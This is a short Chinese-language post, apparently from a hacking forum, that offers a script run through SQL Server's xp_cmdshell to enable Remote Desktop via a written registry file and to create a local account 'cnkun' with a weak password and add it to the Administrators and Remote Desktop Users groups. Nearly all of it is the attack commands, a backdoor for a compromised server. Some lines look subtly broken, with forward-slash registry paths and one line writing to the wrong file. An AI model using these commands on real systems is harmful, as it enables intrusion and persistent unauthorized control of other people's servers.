没有技术含量,纯属一次偶然中的方便, 代码在查询分析器上可以一步完成以上操作,在2003和XP实验已经成功. 代码如下:

___________________________________________________________________________________________

xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server]>>3389.reg'
go
xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/wds/rdpwd/Tds/tcp]>>3389.reg'
go
xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389'
go
xp_cmdshell 'regedit /s 3389.reg'
go
xp_cmdshell 'ipconfig'
go
xp_cmdshell 'net user cnkun 123456 /add'
go
xp_cmdshell 'net localgroup administrators cnkun /add'
go
xp_cmdshell 'net localgroup "Remote Desktop Users" cnkun /add'
go